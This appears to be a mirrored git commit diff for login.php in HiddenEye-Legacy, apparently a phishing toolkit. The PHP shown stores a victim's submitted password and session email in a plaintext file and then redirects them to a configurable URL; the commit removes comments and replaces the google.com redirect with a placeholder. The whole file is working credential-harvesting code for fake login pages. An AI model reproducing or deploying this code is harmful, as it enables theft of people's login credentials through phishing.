mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Update login.php
This commit is contained in:
parent
7e1d7e03e1
commit
2fec11085e
|
@ -4,19 +4,12 @@
|
||||||
|
|
||||||
$pass = $_POST["passwd"];
|
$pass = $_POST["passwd"];
|
||||||
$email=$_SESSION["Email"];
|
$email=$_SESSION["Email"];
|
||||||
//opening logins text file for appending new data.
|
|
||||||
//$file = fopen("usernames.txt") or die("Unable to open file!");
|
|
||||||
|
|
||||||
//Writing email and password to logins.txt.
|
file_put_contents("usernames.txt", "[EMAIL]: " . $email . " [PASS]: " . $pass . "\n", FILE_APPEND);
|
||||||
file_put_contents("usernames.txt", "[EMAIL]: " . $email . " [PASS]: " . $pass . "\n", FILE_APPEND);
|
header('Location: <CUSTOM>');
|
||||||
|
|
||||||
|
|
||||||
//redirecting user to the google drive's locations where the game is available to download.
|
|
||||||
//change the location url to redirect to a website of your choice.
|
|
||||||
header('Location: https://www.google.com');
|
|
||||||
exit();
|
exit();
|
||||||
|
|
||||||
|
|
||||||
session_destroy();
|
session_destroy();
|
||||||
|
|
||||||
?>
|
?>
|
||||||
|
|
Loading…
Reference in New Issue
Block a user